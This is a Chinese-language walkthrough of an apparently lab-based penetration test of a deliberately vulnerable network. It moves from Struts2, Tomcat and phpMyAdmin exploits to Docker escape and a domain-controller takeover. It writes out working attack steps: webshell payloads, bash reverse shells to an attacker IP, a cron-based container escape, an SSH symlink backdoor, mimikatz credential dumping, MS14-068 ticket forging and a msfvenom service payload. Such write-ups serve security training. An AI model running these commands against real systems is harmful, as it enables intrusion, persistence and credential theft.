WEB入口
目标IP地址 : 192.168.145.150
nmap -A 192.168.145.150
从扫描出来的结果 可以看出存在
22 ,2001,2002,2003 端口
从title 看出 存在 Struts2 ,TOmcat/8.5.19 , phpMyadmin 4.8.1
Struts2
先看2001 端口
标题是Struts2 showcase
但是它现在是存在一个文件上传的功能 ,看看是否能上传webshell ,
上传一个正常的图片,都没有反应,也不回显路径,不知道是否上传成功 。。
扫描目录 ,
基本都是404 页面 ,但是存在部分500 报错页面
存在 /.ssh/id_rsa 文件可能 ,也存在22端口,后期可以利用存在文件包含或者文件读取的漏洞的话 。
文件上传暂时没有思路 ,
由于是Struts2 框架搭建的,使用Struts 漏扫工具看是否存在相关漏洞
Struts2 POC工具
Struts2-Scan
https://github.com/HatBoy/Struts2-Scan
Struts2漏洞检查工具2019版 V2.3
https://github.com/shack2/Struts2VulsTools/releases/tag/2.3.20190927
STS2G
https://github.com/xfiftyone/STS2G
Struts2全版本漏洞检测工具18.09
https://github.com/Guaang/s2-tool
部分复现漏洞的方法
https://blog.csdn.net/qq_52527336/article/details/125533839
第一个工具老报错 ,不知道啥情况
关闭现有连接 啥意思哦
使用第二个工具 Struts2漏洞检查工具2019版 V2.3
存在 046,045 的漏洞
是可以成功执行命令的,但是执行使用bash反弹shell 的时候一直反弹不回来 。。
使用全版本 漏洞检测工具
发现当前目录 /usr/src/src/main/webapp
上传webshell到这个目录
上传哥斯拉生成的木马 ,
使用哥斯拉连接
反弹shell 到 msf
msf 很卡 一直弹不回来,使用nc监听 反弹回来
bash -c "bash -i >& /dev/tcp/192.168.145.130/1111 0>&1"
但是看着这个root@这一串数字英文,很像docker的id号啊
ls查看本地文件 就刚好存在一个Dockerfile 文件
Docker 可以通过读取 Dockerfile 中的指令自动构建镜像。 Dockerfile 是一个文本文档,其中包含了用户创建镜像的所有命令和说明。
检测是否在docker中
ls -alh /.dockerenv
cat /proc/1/cgroup
可以发现全是docker ,看来是进入了一个docker环境了
先看看其他两个服务,是不定不是存在于docker呢
Tomcat
搜索版本号
好像是存在不少漏洞,不知是否可以利用
Tomcat8.5.19 cve-2017-12615
服务器由于配置不当,将配置文件中的readonly设置为了false时,通过PUT创建一个jsp文件,并可以执行任意代码。
只需要抓包,把方式改为PUT上传的方式就可以写shell 上传了
成功上传txt文件
把txt改为jsp文件
这里上传的时候 jsp 后面要加一个 /
PUT /111.jsp/ HTTP/1.1
不加 / 这个就会变成405
上传成功的,用哥斯拉连接
发现还是docker的 环境
phpMyAdmin
不需要密码直接连接了
我想到,刚才扫描的时候是没有3306这个端口的,但是吧 这个phpmyadmin 是3306 端口,额
又是docker 无疑了感觉
CVE-2018-12613
phpmyadmin 4.8.1 远程文件包含漏洞
其index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞
EXP:
利用路径遍历去包含任意文件
?target=db_sql.php%253f../../../../../../../../etc/passwd
是成功包含了 etc/passwd 文件了的
写shell 错
文件包含漏洞去包含这个webshell文件,这样就能调用webshell去生成一个真正能独立运行的webshell
先查询所在目录
SELECT @@basedir
/usr/local/mysql/
创建数据库
create database test1
好像是因为没有权限 ,,,
本来就存在一个test数据库
我在数据库里面 创建一个admin 的表 ,表里面存在一句话
create table admin(`<?php eval($_REQUEST[8])?>` VARCHAR(255))
?target=sql.php%253f…/…/…/…/…/…/…/…/…/…//usr/local/mysql/data/test/admin.frm&8=phpinfo();
这个方法这里行不通,不知道哪里错了 ,我看那个是由windows 搭建的可能是服务端不一样
包含sessionGetShell
通常linux系统中存放路径为 /tmp/sess_[当前会话session值]
先使用
select '<?php phpinfo();?>';
查询一遍 ,记录一遍,相当于log日志
然后F12 获取当前的cookie
在利用刚才的文件包含去读取他
http://192.168.145.150:2003/?target=db_sql.php%253f/../../../../../../../../../../tmp/sess_2cf472cf31966810727f7d8a57a4cf24
成功执行了phpinfo()
找到绝对路径
写一句话
写入绝对路径失败,
还可以使用刚才的session 先写一条
select "<?php eval($_GET[a]); ?>"
然后再去使用& file_put_contents 去写shell
成功写入,使用蚁剑去连接
可惜查看 cgroup文件还是一个docker系统
Docker 逃逸
特权模式逃逸
以特权模式启动时,docker容器内拥有宿主机文件读写权限,可以通过写ssh密钥、计划任务等方式达到逃逸。
如果是通过特权模式启动容器,就可以获得大量设备文件的访问权限,因为管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。
如何判断是否为特权模式
在suid提权中SUID设置的程序出现漏洞就非常容易被利用,所以 Linux 引入了 Capability 机制以此来实现更加细致的权限控制,从而增加系统的安全性
这里本来是写ssh 的私钥 进去,但是没懂,我也不知道哪里的方法出现了问题,去连接的时候还是需要密码
参考:
https://www.jianshu.com/p/378c0fe42685
https://blog.csdn.net/eels_/article/details/24195631
https://quan9i.top/post/%E5%86%85%E7%BD%91%E9%9D%B6%E5%9C%BA%E5%AE%9E%E6%88%98%E2%80%94%E2%80%94ATT&CK%E5%AE%9E%E6%88%98%E7%B3%BB%E5%88%97%EF%BC%88%E5%9B%9B%EF%BC%89/
https://blog.csdn.net/weixin_47311099/article/details/122718592
参考了博主的写私钥的方法但是我这边没有成功 哎
写计划任务反弹
创建test文件夹 ,把sda1 挂载到啊 test
新建目录以备挂载: mkdir /test
将宿主机/dev/sda1 目录挂载至容器内 /test: mount /dev/sda1 /test
创建一个sh的反弹语句到 test.sh里面去
touch /test/tmp/test.sh
chmod +x /test/tmp/test.sh
ls -ll /test/tmp/test.sh
echo '#!/bin/bash' >> /test/tmp/test.sh
echo '/bin/bash -i >& bash -i >& /dev/tcp/192.168.145.130/13122 0>&1' >> /test/tmp/test.sh
写入计划任务
sed -i '$a*/2 * * * * root bash /tmp/test.sh ' /test/etc/crontab
cat /test/etc/crontab
解释
sed: 是一个流式文本编辑器,用于处理和转换文本。
-i: 是sed命令的选项之一,表示直接修改文件内容,而不是将输出打印到终端。
'$a*/2 * * * * root bash /tmp/test.sh': 是sed的编辑命令。
在这个命令中,$表示匹配最后一行,a表示在匹配行后追加文本。
具体追加的内容是*/2 * * * * root bash /tmp/test.sh,
这是一个cron表达式,表示每隔2分钟执行一次/tmp/test.sh脚本,并以root权限执行。
该命令的作用是将一条新的cron任务添加到/test/etc/crontab文件的最后一行。
执行这个命令后,/test/etc/crontab文件将被修改,新的cron任务将被添加进去
kali这边监听就好了 要等两分钟
还少去了提权的操作,
权限维持
这里先使用 ssh软连接后门
ssh软连接后门
原理:::
利用了PAM配置文件的作用,将sshd文件软连接名称设置为su,这样应用在启动过程中他会去PAM配置文件夹中寻找是否存在对应名称的配置信息(su),然而 su 在 pam_rootok模块中使得 uid 为 0 可以直接通过认证而不需要输入密码,这样就导致了可以使用任意密码登录
查看SSH配置中是否开启了PAM身份验证,通过以下命令:
cat /etc/ssh/sshd_config|grep UsePAM
回显 UsePAM yes 就是可以的
建立软连接后门
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345
去登录
除了是低权限之后没有其他不适合
但是可以进行提权,他的内核是4.4.0
可以看出还是存在提权漏洞的
但好像直接输入 sudo su 之后不需要验证密码直接到root了
方法二创建一个高权限用户 ,
useradd -p 'openssl passwd 123456' -o -u 0 test
上线MSF
先简单查看一下 ip
外网是eth0 , 内网是eth1 是 192.168.183.0 网段
查看路由表
添加路由
内网
使用 Venom 搭建socks代理
还是比较喜欢这款工具
扫描内网存活主机
使用msf 的smb_version 模块
两台主机
win2008 WIN-ENS2VR5TR3N 192.168.183.130
win7 TESTWIN7-PC 192.168.183.3
端口开放挺多 ,但是没有web端的入口,只能从系统方面进入了
因为内网主机都是比较老的了
可能存在 ms17-010 ,08-067 等漏洞
第一次没打通
显示是受攻击的
但是把这里想到了 换隧道工具 ,一开始使用 Venom ,再换frp 也都无用啊 。。。
这里只能自己 搭建反向代理吧 win7 的shell 传给 kali 了
东搞搞 西搞搞 终于上线了
是system 权限
基本信息搜集
内网前面只扫描到两台主机
现在已经拿下win7了
ipconfig /all
查看主域
dome.com ping一下
IP 地址就是192.168.183.130
接下面就是使用mimikatz 看看是否能获取域管理员账号密码 进行 psexec 横向了
桌面存在mimikatz
发现用户密码
douser Dotest123
验证WIN-ENS2VR5TR3N为域控
这个只是一个域内用户的账号密码
基本信息
USER:douser
Domain:DEMO.COM
NTLM:bc23b0b4d5bf5ff42bc61fb62e13886e
SID:S-1-5-21-979886063-1111900045-1414766810-1107
PASSWORD:Dotest123
MS16-068 域提权漏洞
条件:获得普通域用户以及密码 ,以及用户的suid ip为域控ip
漏洞产生原因:用户在向 Kerberos 密钥分发中心( KDC)申请 TGT (由票据授权服务产生的身份凭证)时,可以伪造自己的Kerberos 票据。如果票据声明自己有域管理员权限,而在处理该票据时未验证票据的签名, 那么返给用户的 TGT 就使普通域用户拥有域管理员权限。该用户可以将 TGT 发送到 KDC,KDC的 TGS (票据授权服务)在验证TGT后,将服务票据(Service Ticket)发送给该用户,而该用户拥有访问任何该服务的权限,从而使攻击者可以访问域内的资源。
MS14-068.exe -u douser@DEMO.COM -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130
通过 mimikatz 导入TGT票据将写入,从而提升为域管理员
kerberos::purge
kerberos::ptc TGT_douser@DEMO.COM.ccache
访问域控主机的C盘
域控
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=8989 -f exe-service -o /root/aaa.exe
生成一个正向的shell
上传
关闭防火墙
sc \\WIN-ENS2VR5TR3N create ProFirewall binpath= "netsh advfirewall set allprofiles state off"
xcopy aaa.exe \\WIN-ENS2VR5TR3N\c$
复制到域控 主机
上传成功
创建服务成功,开启防火墙,运行 aaa.exe
sc \\WIN-ENS2VR5TR3N create Startup binpath= "C:\aaa.exe"
sc \\WIN-ENS2VR5TR3N start ProFirewall
sc \\WIN-ENS2VR5TR3N start Startup
创建正向连接 去连接域控的aaa.exe 就好了
直接使用getsystem 提权了因为是administrator权限
这个靶机就打到这里了 ,还是挺困难的说实话 ,各种断线 ,重连 ,正向连接 一般的连接不上 ,
断断续续 做完的 。连ms17-010 都run了十几次 ,代理都换了几款 。。。
后面看其他师傅的wp的还可以使用 “置零攻击(cve-2020-1472)” 这种方法配合 wmiexec.py 获取域控shell
参考 :::
https://blog.csdn.net/weixin_47311099/article/details/122718592
https://blog.csdn.net/qq_36241198/article/details/121619400
https://blog.csdn.net/m0_63303407/article/details/128750506
Docker 逃逸
https://wiki.teamssix.com/cloudnative/docker/cve-2022-0847-dirty-pipe.html
https://xz.aliyun.com/t/12495#toc-2
SSH 软连接
https://blog.csdn.net/weixin_45261436/article/details/130886594
https://blog.csdn.net/weixin_45209228/article/details/129485451
MS14-068
https://www.cnblogs.com/f-carey/p/16843006.html#tid-Z7zzGE
https://blog.csdn.net/weixin_46944519/article/details/123498421